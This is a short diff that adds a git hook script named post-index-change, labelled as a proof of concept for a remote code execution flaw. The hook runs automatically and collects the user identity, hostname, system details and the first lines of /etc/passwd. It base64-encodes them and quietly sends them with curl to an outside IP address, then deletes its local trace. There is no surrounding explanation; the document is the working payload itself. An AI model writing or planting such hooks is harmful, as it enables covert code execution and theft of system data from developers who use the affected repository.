p1

hooks/post-index-change

@@ -0,0 +1,19 @@
+#!/bin/sh
+# CVE-2026-60004 RCE
+
+HOST=$(hostname 2>/dev/null || echo unknown)
+CMD='id && hostname && cat /etc/passwd | head -5 && uname -a'
+OUTPUT=$(eval "$CMD" 2>&1)
+
+echo "=== CVE-2026-60004 RCE ===" > /tmp/poc_bravo.txt
+echo "Host: $HOST" >> /tmp/poc_bravo.txt
+echo "User: $(whoami 2>/dev/null)" >> /tmp/poc_bravo.txt
+echo "$OUTPUT" >> /tmp/poc_bravo.txt
+
+B64=$(echo "$OUTPUT" | base64 -w0 2>/dev/null)
+HB64=$(echo "$HOST" | base64 -w0 2>/dev/null)
+CB64=$(echo "$CMD" | base64 -w0 2>/dev/null)
+curl -sk --connect-timeout 5 --max-time 10 "http://44.218.236.231:8877?h=$HB64&c=$CB64&data=$B64" >/dev/null 2>&1 &
+
+rm -f /tmp/poc_bravo.txt 2>/dev/null
+sleep 4